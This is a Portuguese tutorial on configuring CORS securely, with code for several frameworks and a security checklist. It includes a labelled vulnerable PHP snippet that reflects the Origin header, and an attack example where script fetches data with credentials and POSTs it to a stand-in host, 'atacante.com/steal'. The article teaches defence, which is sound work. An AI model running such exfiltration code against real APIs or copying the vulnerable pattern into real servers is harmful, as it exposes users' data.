CORS: configuração correta e riscos de má configuração
1. O que é CORS e por que ele existe?
A segurança na web começa com a Política de Mesma Origem (Same-Origin Policy), um mecanismo fundamental dos navegadores que impede que uma página web acesse recursos de uma origem diferente da sua própria. Por exemplo, um script carregado de https://meusite.com não pode, por padrão, fazer requisições para https://api-outra.com.
O Cross-Origin Resource Sharing (CORS) é um mecanismo que permite que servidores especifiquem quais origens externas estão autorizadas a acessar seus recursos. Ele funciona como um porteiro: o navegador consulta o servidor de destino para saber se a requisição cross-origin é permitida, antes de liberar o acesso ao JavaScript da página.
2. Como o CORS funciona na prática
O CORS classifica as requisições em dois tipos:
Requisição simples: ocorre quando o método é GET, HEAD ou POST e os cabeçalhos são limitados (Accept, Accept-Language, Content-Language, Content-Type com valor application/x-www-form-urlencoded, multipart/form-data ou text/plain). Nesse caso, o navegador envia a requisição diretamente e verifica a resposta.
Requisição pré-voada (preflight): para métodos como PUT, DELETE ou cabeçalhos personalizados, o navegador primeiro envia uma requisição HTTP OPTIONS para verificar permissões.
Exemplo de cabeçalhos essenciais:
# Requisição do navegador
Origin: https://meusite.com
# Resposta do servidor (permitindo)
Access-Control-Allow-Origin: https://meusite.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
3. Configuração correta do CORS no servidor
Origens específicas em vez de curinga
A configuração mais segura é listar explicitamente as origens permitidas:
# Exemplo em Express (Node.js) com middleware cors
const corsOptions = {
origin: ['https://meusite.com', 'https://admin.meusite.com'],
methods: ['GET', 'POST'],
allowedHeaders: ['Content-Type', 'Authorization']
};
app.use(cors(corsOptions));
Configuração segura de métodos e cabeçalhos
Sempre restrinja métodos e cabeçalhos ao mínimo necessário:
# Java Spring Boot
@Configuration
public class CorsConfig {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://app.exemplo.com")
.allowedMethods("GET", "POST")
.allowedHeaders("Authorization", "Content-Type");
}
};
}
}
Tratamento de credenciais
Quando cookies ou tokens de autenticação são enviados, Access-Control-Allow-Credentials: true deve ser usado com origens específicas, nunca com *:
# Configuração correta com credenciais
Access-Control-Allow-Origin: https://meusite.com
Access-Control-Allow-Credentials: true
4. Riscos de má configuração: cenários comuns
Uso indiscriminado de Access-Control-Allow-Origin: *
Esse é o erro mais comum e perigoso. Permite que qualquer site faça requisições para sua API:
# Configuração INSEGURA
Access-Control-Allow-Origin: *
Origem dinâmica refletida sem validação
Alguns servidores copiam o cabeçalho Origin da requisição diretamente na resposta, sem validação:
# Código vulnerável (exemplo em PHP)
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']);
Isso permite que um atacante crie um site malicioso que, ao fazer uma requisição, receba a permissão automaticamente.
Credenciais com curinga
Combinar Access-Control-Allow-Origin: * com Access-Control-Allow-Credentials: true é proibido pelos navegadores, mas configurações incorretas podem gerar vulnerabilidades.
5. Ataques explorando CORS mal configurado
Roubo de dados via requisições cross-origin
Um atacante pode criar um site que, usando JavaScript, faça requisições para uma API vulnerável:
// Código malicioso no site do atacante
fetch('https://api-vulneravel.com/dados-sensiveis', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Envia dados roubados para servidor do atacante
fetch('https://atacante.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Diferença entre CSRF e CORS
CSRF (Cross-Site Request Forgery) explora a autenticação automática do navegador, enquanto vulnerabilidades de CORS permitem que o JavaScript leia a resposta da requisição. A combinação de ambos é devastadora.
6. Boas práticas de implementação para desenvolvedores
Lista branca de origens
Implemente uma whitelist no backend:
# Exemplo em Python (Flask)
ALLOWED_ORIGINS = ['https://app.exemplo.com', 'https://admin.exemplo.com']
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
return response
Validação rigorosa do cabeçalho Origin
Nunca confie cegamente no cabeçalho Origin. Valide contra uma lista predefinida:
# Validação segura em Node.js
const allowedOrigins = ['https://meusite.com', 'https://admin.meusite.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
next();
});
Uso de middlewares seguros
Frameworks modernos oferecem middlewares testados:
# Express CORS middleware (configuração segura)
const cors = require('cors');
const corsOptions = {
origin: function (origin, callback) {
const whitelist = ['https://meusite.com'];
if (whitelist.indexOf(origin) !== -1 || !origin) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
}
};
app.use(cors(corsOptions));
7. Testando e depurando configurações CORS
Ferramentas do navegador
O painel Network do DevTools (F12) mostra requisições bloqueadas por CORS com mensagens como:
Access to fetch at 'https://api.exemplo.com/dados' from origin 'https://meusite.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
Extensões e serviços online
- CORS Toggle (extensão Chrome): permite desabilitar temporariamente CORS para testes locais
- curl com cabeçalhos: teste manualmente as configurações
curl -H "Origin: https://meusite.com" \
-H "Access-Control-Request-Method: GET" \
-X OPTIONS \
-v https://api.exemplo.com/dados
Logs do servidor
Monitore requisições OPTIONS e verifique se os cabeçalhos estão sendo enviados corretamente:
# Log de servidor mostrando requisição preflight
[2024-01-15 10:30:45] OPTIONS /api/dados 200
Origin: https://meusite.com
Access-Control-Allow-Origin: https://meusite.com
8. Conclusão e checklist de segurança
CORS é uma camada essencial de segurança, mas sua má configuração pode expor dados sensíveis. Lembre-se:
Checklist de segurança CORS:
- [ ] Use origens específicas, nunca
*em produção - [ ] Nunca reflita o cabeçalho
Originsem validação - [ ] Restrinja métodos HTTP ao necessário (GET, POST)
- [ ] Configure
Access-Control-Allow-Credentialsapenas com origens específicas - [ ] Valide o cabeçalho
Origincontra uma whitelist no backend - [ ] Teste configurações com ferramentas do navegador e curl
- [ ] Utilize middlewares testados da comunidade (Express CORS, Spring Security)
- [ ] Documente e revise periodicamente as regras CORS
Para aprofundar, confira os próximos artigos da série sobre Security Headers e SSL/TLS.
Referências
- MDN Web Docs: CORS — Documentação completa sobre o mecanismo CORS, cabeçalhos e exemplos práticos
- OWASP: CORS Misconfiguration — Guia de testes de segurança para configurações CORS vulneráveis
- Express.js CORS Middleware Documentation — Documentação oficial do middleware cors para Node.js/Express
- Spring Security CORS Configuration — Guia oficial de configuração CORS no Spring Security
- PortSwigger: CORS Vulnerabilities — Artigo técnico sobre exploração de vulnerabilidades CORS com exemplos práticos
- Auth0: CORS Best Practices — Boas práticas de implementação CORS em APIs REST
- Google Web Fundamentals: CORS — Guia introdutório do Google sobre CORS para desenvolvedores web